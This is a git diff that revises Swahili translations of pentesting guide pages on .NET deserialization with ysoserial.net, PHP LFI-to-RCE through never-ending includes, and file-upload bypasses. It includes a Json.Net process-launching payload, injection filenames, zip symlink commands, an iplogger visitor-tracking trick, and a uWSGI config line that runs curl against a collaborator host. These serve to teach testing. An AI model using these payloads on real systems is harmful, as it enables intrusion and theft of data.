s**pecify aina za vitu vya vitu vilivyofichwa** katika mfano fulani. Hivyo, darasa hili linaweza kutumika kuficha kitu cha chanzo (_ObjectDataProvider_) ndani ya aina mpya ya kitu na kutoa mali tunazohitaji (_ObjectDataProvider.MethodName_ na _ObjectDataProvider.MethodParameters_).\ -Hii ni muhimu sana kwa kesi kama ile iliyowasilishwa hapo awali, kwa sababu tutakuwa na uwezo wa **kuficha \_ObjectDataProvider**_\*\* ndani ya \*\*_**ExpandedWrapper** \_ mfano na **wakati wa deserialization** darasa hili litaunda _**OjectDataProvider**_ kitu ambacho kitafanya **kazi** iliyoonyeshwa katika _**MethodName**_. +Darasa hili linaruhusu **kueleza aina za vitu vya vitu vilivyofichwa** katika mfano fulani. Hivyo, darasa hili linaweza kutumika kuficha kitu cha chanzo (_ObjectDataProvider_) ndani ya aina mpya ya kitu na kutoa mali tunazohitaji (_ObjectDataProvider.MethodName_ na _ObjectDataProvider.MethodParameters_).\ +Hii ni muhimu sana kwa kesi kama ile iliyowasilishwa hapo awali, kwa sababu tutakuwa na uwezo wa **kuficha \_ObjectDataProvider**_** ndani ya mfano wa **_**ExpandedWrapper** \_ na **wakati wa kuondolewa** darasa hili litaunda _**OjectDataProvider**_ kitu ambacho kitafanya **kazi** iliyoonyeshwa katika _**MethodName**_. Unaweza kuangalia wrapper hii kwa kutumia msimbo ufuatao: ```java @@ -89,7 +89,7 @@ Katika [ukurasa rasmi](https://www.newtonsoft.com/json) inaonyeshwa kwamba makta ### Mfano wa Json.Net -Kwanza kabisa hebu tuone mfano wa jinsi ya **kufanya uhifadhi/ufunguo wa tena** kitu kwa kutumia maktaba hii: +Kwanza kabisa hebu tuone mfano wa jinsi ya **kuhifadhi/kufungua tena** kitu kwa kutumia maktaba hii: ```java using System; using Newtonsoft.Json; @@ -132,9 +132,9 @@ Console.WriteLine(desaccount.Email); } } ``` -### Kutumia Json.Net +### Abusing Json.Net -Kwa kutumia [ysoserial.net](https://github.com/pwntester/ysoserial.net) nilitengeneza exploit: +Using [ysoserial.net](https://github.com/pwntester/ysoserial.net) niliunda exploit: ```java ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" { @@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} } ``` -Katika hii nambari unaweza **kujaribu exploit**, endesha tu na utaona kwamba calc inatekelezwa: +Katika msimbo huu unaweza **kujaribu exploit**, endesha tu na utaona kwamba calc inatekelezwa: ```java using System; using System.Text; diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md b/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md index 5c7a21c31..849c34a82 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md @@ -4,29 +4,29 @@ ## Taarifa za Msingi -Kwa kawaida, wakati faili inapoupwa kwenye PHP (hata kama haitarajii), itaunda faili ya muda katika `/tmp` yenye jina kama **`php[a-zA-Z0-9]{6}`**, ingawa nimeona picha zingine za docker ambapo faili zilizozalishwa hazina nambari. +Kwa kawaida, wakati faili inapoupwa kwenye PHP (hata kama haitarajii), itaunda faili ya muda katika `/tmp` yenye jina kama **`php[a-zA-Z0-9]{6}`**, ingawa nimeona picha za docker ambapo faili zilizozalishwa hazina nambari. -Katika uingizaji wa faili wa ndani, **ikiwa utaweza kuingiza faili hiyo iliyoupwa, utapata RCE**. +Katika uingizaji wa faili wa ndani, **ikiwa utaweza kuingiza faili hiyo iliyopakiwa, utapata RCE**. Kumbuka kwamba kwa kawaida **PHP inaruhusu kupakia faili 20 tu katika ombi moja** (iliyowekwa katika `/etc/php//apache2/php.ini`): ``` ; Maximum number of files that can be uploaded via a single request max_file_uploads = 20 ``` -Pia, **idadi ya majina ya faili yanayoweza kuwa ni 62\*62\*62\*62\*62\*62 = 56800235584** +Pia, **idadi ya majina yanayoweza kutumika ni 62\*62\*62\*62\*62\*62 = 56800235584** ### Mbinu nyingine Mbinu nyingine zinategemea kushambulia protokali za PHP (hutoweza ikiwa unadhibiti sehemu ya mwisho ya njia), kufichua njia ya faili, kutumia faili zinazotarajiwa, au **kufanya PHP ipate makosa ya segmentation ili faili za muda zilizopakiwa zisifutwe**.\ -Mbinu hii ni **sawa sana na ya mwisho lakini bila kuhitaji kupata siku sifuri**. +Mbinu hii ni **sawa sana na ile ya mwisho lakini bila kuhitaji kupata siku sifuri**. ### Mbinu ya kusubiri milele -Katika mbinu hii **tunahitaji tu kudhibiti njia ya jamaa**. Ikiwa tutafanikiwa kupakia faili na kufanya **LFI isikome kamwe**, tutakuwa na "wakati wa kutosha" ili **kujaribu nguvu faili zilizopakiwa** na **kupata** yoyote kati ya zile zilizopakiwa. +Katika mbinu hii **tunahitaji tu kudhibiti njia ya jamaa**. Ikiwa tutafanikiwa kupakia faili na kufanya **LFI isimalizike kamwe**, tutakuwa na "wakati wa kutosha" ili **kujaribu nguvu faili zilizopakiwa** na **kupata** yoyote kati ya zile zilizopakiwa. **Faida za mbinu hii**: -- Unahitaji tu kudhibiti njia ya jamaa ndani ya kujumuisha +- Unahitaji tu kudhibiti njia ya jamaa ndani ya jumuisho - Haihitaji nginx au kiwango kisichotarajiwa cha ufikiaji wa faili za log - Haihitaji siku sifuri ili kusababisha makosa ya segmentation - Haihitaji kufichua njia @@ -34,14 +34,14 @@ Katika mbinu hii **tunahitaji tu kudhibiti njia ya jamaa**. Ikiwa tutafanikiwa k **Matatizo makuu** ya mbinu hii ni: - Inahitaji faili maalum kuwapo (huenda kuna zaidi) -- **Kiasi cha ajabu** cha majina ya faili yanayoweza: **56800235584** -- Ikiwa seva **haitumii nambari** jumla ya uwezo ni: **19770609664** +- **Kiasi cha ajabu** cha majina yanayoweza kutumika: **56800235584** +- Ikiwa seva **haiitumii nambari** jumla ya uwezo ni: **19770609664** - Kwa kawaida **faili 20 tu** zinaweza kupakiwa katika **ombio moja**. -- **idadi ya juu ya wafanyakazi wa sambamba** wa seva inayotumika. -- Kizuizi hiki pamoja na vya awali kinaweza kufanya shambulio hili kudumu kwa muda mrefu +- **idadi ya wafanyakazi wa sambamba** wa seva inayotumika. +- Kizuizi hiki pamoja na vingine vya awali kinaweza kufanya shambulio hili kudumu kwa muda mrefu - **Muda wa kupita kwa ombi la PHP**. Kwa kawaida hii inapaswa kuwa milele au inapaswa kuua mchakato wa PHP bila kufuta faili za muda zilizopakiwa, ikiwa sivyo, hii pia itakuwa shida -Basi, unaweza **aje kufanya kujumuisha PHP kusiishe kamwe**? Kwa kujumlisha tu faili **`/sys/kernel/security/apparmor/revision`** (**haipatikani katika kontena za Docker** kwa bahati mbaya...). +Basi, unaweza **aje kufanya jumuisho la PHP lisimalizike kamwe**? Kwa kuingiza tu faili **`/sys/kernel/security/apparmor/revision`** (**haipatikani katika kontena za Docker** kwa bahati mbaya...). Jaribu kwa kuitwa: ```bash @@ -50,7 +50,7 @@ include("/sys/kernel/security/apparmor/revision"); ``` ## Apache2 -Kwa kawaida, Apache inasaidia **michango 150 ya pamoja**, kufuatia [https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/) inawezekana kuboresha nambari hii hadi **8000**. Fuata hii kutumia PHP na moduli hiyo: [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04). +Kwa kawaida, Apache inasaidia **michango 150 ya pamoja**, kufuata [https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/) inawezekana kuboresha nambari hii hadi **8000**. Fuata hii kutumia PHP na moduli hiyo: [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04). Kwa kawaida, (kama ninavyoona katika majaribio yangu), **mchakato wa PHP unaweza kudumu milele**. @@ -72,23 +72,23 @@ Ikiwa seva ya Apache imeboreshwa na tunaweza kutumia **michango 4000** (katika n Ikiwa badala ya kutumia moduli ya kawaida ya php kwa apache kuendesha skripti za PHP **ukurasa wa wavuti unatumia** **PHP-FMP** (hii inaboresha ufanisi wa ukurasa wa wavuti, hivyo ni kawaida kuikuta), kuna kitu kingine kinachoweza kufanywa kuboresha mbinu hiyo. PHP-FMP inaruhusu **kuunda** **parameta** **`request_terminate_timeout`** katika **`/etc/php//fpm/pool.d/www.conf`**.\ -Parameta hii inaonyesha kiwango cha juu cha sekunde **wakati** **maombi kwa PHP yanapaswa kumalizika** (isiyo na kikomo kwa kawaida, lakini **30s ikiwa parameta imeondolewa maoni**). Wakati ombi linaposhughulikiwa na PHP kwa idadi iliyotajwa ya sekunde, inakatishwa. Hii inamaanisha, kwamba ikiwa ombi lilikuwa likipakia faili za muda, kwa sababu **usindikaji wa php umesitishwa**, hizo **faili hazitafutwa**. Kwa hivyo, ikiwa unaweza kufanya ombi kudumu muda huo, unaweza **kuunda maelfu ya faili za muda** ambazo hazitafutwa, ambayo itachochea **mchakato wa kuzipata** na kupunguza uwezekano wa DoS kwa jukwaa kwa kutumia michango yote. +Parameta hii inaonyesha muda wa juu wa sekunde **wakati** **maombi kwa PHP yanapaswa kumalizika** (isiyo na kikomo kwa kawaida, lakini **30s ikiwa parameta hiyo haijafutwa**). Wakati ombi linafanyiwa kazi na PHP kwa idadi ya sekunde iliyoonyeshwa, inauawa. Hii inamaanisha, kwamba ikiwa ombi lilikuwa liki-upload faili za muda, kwa sababu **usindikaji wa php ulisimamishwa**, hizo **faili hazitafutwa**. Kwa hivyo, ikiwa unaweza kufanya ombi kudumu muda huo, unaweza **kuunda maelfu ya faili za muda** ambazo hazitafutwa, ambayo itachochea **mchakato wa kuzitafuta** na kupunguza uwezekano wa DoS kwa jukwaa kwa kutumia michango yote. -Hivyo, ili **kuepuka DoS** hebu tuone kwamba **mshambuliaji atatumia michango 100 tu** kwa wakati mmoja na muda wa usindikaji wa php kwa **php-fmp** (`request_terminate_timeout`**)** ni **30s**. Kwa hivyo, idadi ya **faili za muda** zinazoweza kuzalishwa **kwa sekunde** ni `100*20/30 = 66.67`. +Hivyo, ili **kuepuka DoS** hebu tuone kwamba **mshambuliaji atatumia michango 100 tu** kwa wakati mmoja na muda wa juu wa usindikaji wa php na **php-fmp** (`request_terminate_timeout`**) ni **30s**. Kwa hivyo, idadi ya **faili za muda** zinazoweza kuzalishwa **kwa sekunde** ni `100*20/30 = 66.67`. Kisha, ili kuunda **faili 10000** mshambuliaji angehitaji: **`10000/66.67 = 150s`** (kuunda **faili 100000** muda ungekuwa **dakika 25**). -Kisha, mshambuliaji angeweza kutumia hizo **michango 100** kufanya **tafuta brute-force**. \*\*\*\* Tukikadiria kasi ya maombi 300 req/s muda unaohitajika kutumia hii ni kama ifuatavyo: +Kisha, mshambuliaji anaweza kutumia hizo **michango 100** kufanya **tafuta brute-force**. Tukikadiria kasi ya 300 req/s muda unaohitajika kutumia hii ni kama ifuatavyo: - 56800235584 / 10000 / 300 / 3600 \~= **masaa 5.25** (50% nafasi katika masaa 2.63) - (ikiwa na faili 100000) 56800235584 / 100000 / 300 / 3600 \~= **masaa 0.525** (50% nafasi katika masaa 0.263) -Ndio, inawezekana kuunda faili 100000 za muda katika mfano wa ukubwa wa kati wa EC2: +Ndio, inawezekana kuunda faili 100000 za muda katika mfano wa EC2 wa ukubwa wa kati:
> [!WARNING] -> Kumbuka kwamba ili kuanzisha muda wa kukatisha itakuwa **ya kutosha kujumuisha ukurasa wa LFI ulio hatarini**, ili uingie katika mzunguko wa kujumuisha wa milele. +> Kumbuka kwamba ili kuanzisha muda wa mwisho itakuwa **ya kutosha kujumuisha ukurasa wa LFI ulio hatarini**, ili uingie katika mzunguko wa kujumuisha wa milele. ## Nginx diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index 3e476cb4d..6c0cf1550 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -17,11 +17,11 @@ Other useful extensions: ### Bypass file extensions checks -1. If they apply, the **check** the **previous extensions.** Also test them using some **uppercase letters**: _pHp, .pHP5, .PhAr ..._ -2. _Check **adding a valid extension before** the execution extension (use previous extensions also):_ +1. Ikiwa zinahusika, **angalia** **nyongeza za awali.** Pia jaribu kutumia **herufi kubwa**: _pHp, .pHP5, .PhAr ..._ +2. _Angalia **kuongeza nyongeza halali kabla** ya nyongeza ya utekelezaji (tumia nyongeza za awali pia):_ - _file.png.php_ - _file.png.Php5_ -3. Try adding **special characters at the end.** You could use Burp to **bruteforce** all the **ascii** and **Unicode** characters. (_Note that you can also try to use the **previously** motioned **extensions**_) +3. Jaribu kuongeza **herufi maalum mwishoni.** Unaweza kutumia Burp **kujaribu** herufi zote za **ascii** na **Unicode**. (_Kumbuka kwamba unaweza pia kujaribu kutumia **nyongeza** zilizotajwa **awali**_) - _file.php%20_ - _file.php%0a_ - _file.php%00_ @@ -31,7 +31,7 @@ Other useful extensions: - _file._ - _file.php...._ - _file.pHp5...._ -4. Try to bypass the protections **tricking the extension parser** of the server-side with techniques like **doubling** the **extension** or **adding junk** data (**null** bytes) between extensions. _You can also use the **previous extensions** to prepare a better payload._ +4. Jaribu kupita ulinzi **kwa kudanganya parser ya nyongeza** ya upande wa seva kwa mbinu kama **kuongeza** **nyongeza** au **kuongeza data za junk** (**bytes** za **null**) kati ya nyongeza. _Unaweza pia kutumia **nyongeza za awali** kuandaa payload bora._ - _file.png.php_ - _file.png.pHp5_ - _file.php#.png_ @@ -40,18 +40,18 @@ Other useful extensions: - _file.php%0a.png_ - _file.php%0d%0a.png_ - _file.phpJunk123png_ -5. Add **another layer of extensions** to the previous check: +5. Ongeza **tabaka lingine la nyongeza** kwa ukaguzi wa awali: - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. Try to put the **exec extension before the valid extension** and pray so the server is misconfigured. (useful to exploit Apache misconfigurations where anything with extension\*\* _**.php**_**, but** not necessarily ending in .php\*\* will execute code): +6. Jaribu kuweka **nyongeza ya exec kabla ya nyongeza halali** na uombe ili seva iwe na usanidi mbaya. (inayofaa kutumia katika usanidi mbaya wa Apache ambapo chochote chenye nyongeza **_**.php**_**, lakini** si lazima kumalizika kwa .php** kitaendesha msimbo): - _ex: file.php.png_ -7. Using **NTFS alternate data stream (ADS)** in **Windows**. In this case, a colon character “:” will be inserted after a forbidden extension and before a permitted one. As a result, an **empty file with the forbidden extension** will be created on the server (e.g. “file.asax:.jpg”). This file might be edited later using other techniques such as using its short filename. The “**::$data**” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. “file.asp::$data.”) -8. Try to break the filename limits. The valid extension gets cut off. And the malicious PHP gets left. AAA<--SNIP-->AAA.php +7. Kutumia **NTFS alternate data stream (ADS)** katika **Windows**. Katika kesi hii, herufi ya koloni “:” itaingizwa baada ya nyongeza iliyokatazwa na kabla ya ile inayoruhusiwa. Kama matokeo, **faili tupu yenye nyongeza iliyokatazwa** itaundwa kwenye seva (mfano “file.asax:.jpg”). Faili hii inaweza kuhaririwa baadaye kwa kutumia mbinu nyingine kama vile kutumia jina lake fupi. Mwelekeo “**::$data**” unaweza pia kutumika kuunda faili zisizo tupu. Kwa hivyo, kuongeza herufi ya nukta baada ya mwelekeo huu pia kunaweza kuwa na manufaa kupita vizuizi zaidi (.e.g. “file.asp::$data.”) +8. Jaribu kuvunja mipaka ya jina la faili. Nyongeza halali inakatwa. Na PHP mbaya inabaki. AAA<--SNIP-->AAA.php ``` # Linux maximum 255 bytes /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 -Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png +Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png # Upload the file and check response how many characters it alllows. Let's say 236 python -c 'print "A" * 232' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -Utekelezaji wa payload unafanyika wakati wa uchambuzi wa faili la usanidi. Ili usanidi uweze kuanzishwa na kuchambuliwa, mchakato wa uWSGI lazima uanzishwe upya (labda baada ya ajali au kutokana na shambulio la Denial of Service) au faili lazima iwekwe kwenye auto-reload. Kipengele cha auto-reload, ikiwa kimewezeshwa, kinareload faili kwa vipindi vilivyotajwa baada ya kugundua mabadiliko. +Utekelezaji wa payload unafanyika wakati wa kuchambua faili ya usanidi. Ili usanidi uweze kuanzishwa na kuchambuliwa, mchakato wa uWSGI lazima uanzishwe upya (labda baada ya ajali au kutokana na shambulio la Denial of Service) au faili lazima iwekwe kwenye auto-reload. Kipengele cha auto-reload, ikiwa kimewezeshwa, kinarejesha faili kwa vipindi vilivyotajwa baada ya kugundua mabadiliko. -Ni muhimu kuelewa tabia ya kulegeza ya uchambuzi wa faili la usanidi la uWSGI. Kwa haswa, payload iliyozungumziwa inaweza kuingizwa kwenye faili ya binary (kama picha au PDF), ikipanua zaidi wigo wa uwezekano wa unyakuzi. +Ni muhimu kuelewa tabia ya kulegeza ya uchambuzi wa faili ya usanidi wa uWSGI. Kwa haswa, payload iliyozungumziwa inaweza kuingizwa kwenye faili ya binary (kama picha au PDF), na hivyo kupanua wigo wa uwezekano wa unyakuzi. ## **wget File Upload/SSRF Trick** -Katika baadhi ya matukio unaweza kupata kwamba seva inatumia **`wget`** ili **kushusha faili** na unaweza **kuashiria** **URL**. Katika matukio haya, msimbo unaweza kuwa unakagua kwamba kiambatisho cha faili zilizoshushwa kiko ndani ya orodha ya ruhusa ili kuhakikisha kwamba faili tu zilizoruhusiwa zitashushwa. Hata hivyo, **ukaguzi huu unaweza kupuuziliwa mbali.**\ -Urefu **wa juu** wa **jina la faili** katika **linux** ni **255**, hata hivyo, **wget** inakata majina ya faili hadi **236** wahusika. Unaweza **kushusha faili inayoitwa "A"\*232+".php"+".gif"**, jina hili la faili litakuwa **bypass** **ukaguzi** (kama katika mfano huu **".gif"** ni kiambatisho **halali**) lakini `wget` itabadilisha jina la faili kuwa **"A"\*232+".php"**. +Katika baadhi ya matukio unaweza kupata kwamba seva inatumia **`wget`** ili **kupakua faili** na unaweza **kuashiria** **URL**. Katika matukio haya, msimbo unaweza kuwa unakagua kwamba kiambatisho cha faili zilizopakuliwa kiko ndani ya orodha ya ruhusa ili kuhakikisha kwamba faili tu zilizoruhusiwa zitapakuliwa. Hata hivyo, **ukaguzi huu unaweza kupuuziliwa mbali.**\ +Urefu **wa juu** wa **jina la faili** katika **linux** ni **255**, hata hivyo, **wget** inakata majina ya faili hadi **236** herufi. Unaweza **kupakua faili inayoitwa "A"\*232+".php"+".gif"**, jina hili la faili litakuwa **bypass** **ukaguzi** (kama katika mfano huu **".gif"** ni kiambatisho **halali**) lakini `wget` itabadilisha jina la faili kuwa **"A"\*232+".php"**. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -156,31 +156,31 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -Kumbuka kwamba **chaguo lingine** ambalo unaweza kufikiria ili kupita kipimo hiki ni kufanya **server ya HTTP irejeleze kwenye faili tofauti**, hivyo URL ya awali itapita kipimo hicho na kisha wget itashusha faili iliyoelekezwa kwa jina jipya. Hii **haitafanya kazi** **isipokuwa** wget inatumika na **parameta** `--trust-server-names` kwa sababu **wget itashusha ukurasa ulioelekezwa kwa jina la faili lililoonyeshwa kwenye URL ya awali**. +Kumbuka kwamba **chaguo lingine** unaloweza kufikiria ili kupita ukaguzi huu ni kufanya **seva ya HTTP irejeleze kwenye faili tofauti**, hivyo URL ya awali itapita ukaguzi na kisha wget itashusha faili lililorejelewa kwa jina jipya. Hii **haitafanya kazi** **isipokuwa** wget inatumika na **parameta** `--trust-server-names` kwa sababu **wget itashusha ukurasa ulioelekezwa kwa jina la faili lililoonyeshwa kwenye URL ya awali**. ## Zana -- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) ni zana yenye nguvu iliyoundwa kusaidia Pentesters na Bug Hunters katika kujaribu mifumo ya kupakia faili. Inatumia mbinu mbalimbali za bug bounty ili kurahisisha mchakato wa kubaini na kutumia udhaifu, kuhakikisha tathmini kamili za programu za wavuti. +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) ni zana yenye nguvu iliyoundwa kusaidia Pentesters na Wavuvi wa Makosa katika kupima mifumo ya upakiaji faili. Inatumia mbinu mbalimbali za bug bounty ili kurahisisha mchakato wa kubaini na kutumia udhaifu, kuhakikisha tathmini kamili za programu za wavuti. ## Kutoka kwa Upakiaji wa Faili hadi Udhaifu Mwingine - Weka **jina la faili** kuwa `../../../tmp/lol.png` na jaribu kufikia **path traversal** -- Weka **jina la faili** kuwa `sleep(10)-- -.jpg` na unaweza kufanikiwa kufikia **SQL injection** +- Weka **jina la faili** kuwa `sleep(10)-- -.jpg` na unaweza kuwa na uwezo wa kufikia **SQL injection** - Weka **jina la faili** kuwa `` ili kufikia XSS -- Weka **jina la faili** kuwa `; sleep 10;` ili kujaribu baadhi ya kuingilia amri (zaidi ya [mbinu za kuingilia amri hapa](../command-injection.md)) -- [**XSS** katika picha (svg) ya kupakia faili](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) -- **JS** faili **kupakia** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) -- [**XXE katika kupakia svg**](../xxe-xee-xml-external-entity.md#svg-file-upload) -- [**Open Redirect** kupitia kupakia faili la svg](../open-redirect.md#open-redirect-uploading-svg-files) -- Jaribu **payloads tofauti za svg** kutoka [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\* +- Weka **jina la faili** kuwa `; sleep 10;` ili kupima baadhi ya kuingilia amri (zaidi ya [mbinu za kuingilia amri hapa](../command-injection.md)) +- [**XSS** katika upakiaji wa faili ya picha (svg)](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) +- **JS** faili **upakiaji** + **XSS** = [**Kudhulumu Wafanyakazi wa Huduma**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) +- [**XXE katika upakiaji wa svg**](../xxe-xee-xml-external-entity.md#svg-file-upload) +- [**Open Redirect** kupitia upakiaji wa faili ya svg](../open-redirect.md#open-redirect-uploading-svg-files) +- Jaribu **payloads tofauti za svg** kutoka [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) - [Udhaifu maarufu wa **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) -- Ikiwa unaweza **kuonyesha server ya wavuti kukamata picha kutoka URL** unaweza kujaribu kutumia [SSRF](../ssrf-server-side-request-forgery/index.html). Ikiwa **picha hii** itahifadhiwa katika tovuti **ya umma**, unaweza pia kuonyesha URL kutoka [https://iplogger.org/invisible/](https://iplogger.org/invisible/) na **kuiba taarifa za kila mtembezi**. -- [**XXE na CORS** bypass na PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) -- PDFs zilizoundwa kwa makini kwa XSS: [ukurasa ufuatao unaonyesha jinsi ya **kuingiza data za PDF ili kupata utekelezaji wa JS**](../xss-cross-site-scripting/pdf-injection.md). Ikiwa unaweza kupakia PDFs unaweza kuandaa PDF ambayo itatekeleza JS isiyo na mipaka kufuata maelekezo yaliyotolewa. -- Pakia maudhui ya \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) ili kuangalia ikiwa server ina **antivirus** -- Angalia ikiwa kuna **kikomo cha ukubwa** katika kupakia faili +- Ikiwa unaweza **kuonyesha seva ya wavuti kukamata picha kutoka URL** unaweza kujaribu kudhulumu [SSRF](../ssrf-server-side-request-forgery/index.html). Ikiwa **picha hii** itahifadhiwa katika tovuti **ya umma**, unaweza pia kuonyesha URL kutoka [https://iplogger.org/invisible/](https://iplogger.org/invisible/) na **kuiba taarifa za kila mtembezi**. +- [**XXE na CORS** kupita na upakiaji wa PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md) +- PDFs zilizoundwa kwa makini kwa XSS: [ukurasa ufuatao unaonyesha jinsi ya **kuingiza data za PDF ili kupata utekelezaji wa JS**](../xss-cross-site-scripting/pdf-injection.md). Ikiwa unaweza kupakia PDFs unaweza kuandaa PDF ambayo itatekeleza JS isiyo ya kawaida kufuata maelekezo yaliyotolewa. +- Pakia maudhui ya \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) ili kuangalia ikiwa seva ina **antivirus** +- Angalia ikiwa kuna **kikomo cha saizi** katika upakiaji wa faili -Hapa kuna orodha ya mambo 10 ambayo unaweza kufanikisha kwa kupakia (kutoka [hapa](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): +Hapa kuna orodha ya juu 10 ya mambo ambayo unaweza kufikia kwa kupakia (kutoka [hapa](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE 2. **SVG**: Stored XSS / SSRF / XXE @@ -208,11 +208,11 @@ Rejelea [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikip ## Zip/Tar Faili Zilizopakiwa Zitaondolewa Kiotomatiki -Ikiwa unaweza kupakia ZIP ambayo itachukuliwa ndani ya server, unaweza kufanya mambo 2: +Ikiwa unaweza kupakia ZIP ambayo itakuaondolewa ndani ya seva, unaweza kufanya mambo 2: ### Symlink -Pakia kiungo kinachokuwa na viungo vya laini kwa faili nyingine, kisha, ukifika kwenye faili zilizochukuliwa utapata faili zilizounganishwa: +Pakia kiungo kinachokuwa na viungo laini kwa faili nyingine, kisha, kwa kufikia faili zilizondolewa utapata faili zilizounganishwa: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt @@ -220,16 +220,16 @@ tar -cvf test.tar symindex.txt ``` ### Decompress in different folders -Uundaji wa faili zisizotarajiwa katika saraka wakati wa uundaji ni tatizo kubwa. Licha ya dhana za awali kwamba mpangilio huu unaweza kulinda dhidi ya utekelezaji wa amri za kiwango cha OS kupitia upakuaji wa faili zenye uharibifu, msaada wa uhamasishaji wa kihierarkia na uwezo wa kupita saraka wa muundo wa ZIP unaweza kutumika. Hii inaruhusu washambuliaji kupita vizuizi na kutoroka saraka salama za upakuaji kwa kubadilisha kazi ya uundaji ya programu inayolengwa. +Uundaji usiotarajiwa wa faili katika saraka wakati wa uundaji ni tatizo kubwa. Licha ya dhana za awali kwamba mpangilio huu unaweza kulinda dhidi ya utekelezaji wa amri za kiwango cha OS kupitia upakiaji wa faili zenye uharibifu, msaada wa uhamasishaji wa kihierarkia na uwezo wa kupita kwenye saraka wa muundo wa ZIP unaweza kutumika. Hii inawawezesha washambuliaji kupita vizuizi na kutoroka saraka salama za upakiaji kwa kubadilisha kazi ya uundaji ya programu inayolengwa. -Kiboko cha kiotomatiki cha kutengeneza faili kama hizo kinapatikana kwenye [**evilarc on GitHub +Kibao cha kiotomatiki cha kutengeneza faili kama hizo kinapatikana kwenye [**evilarc on 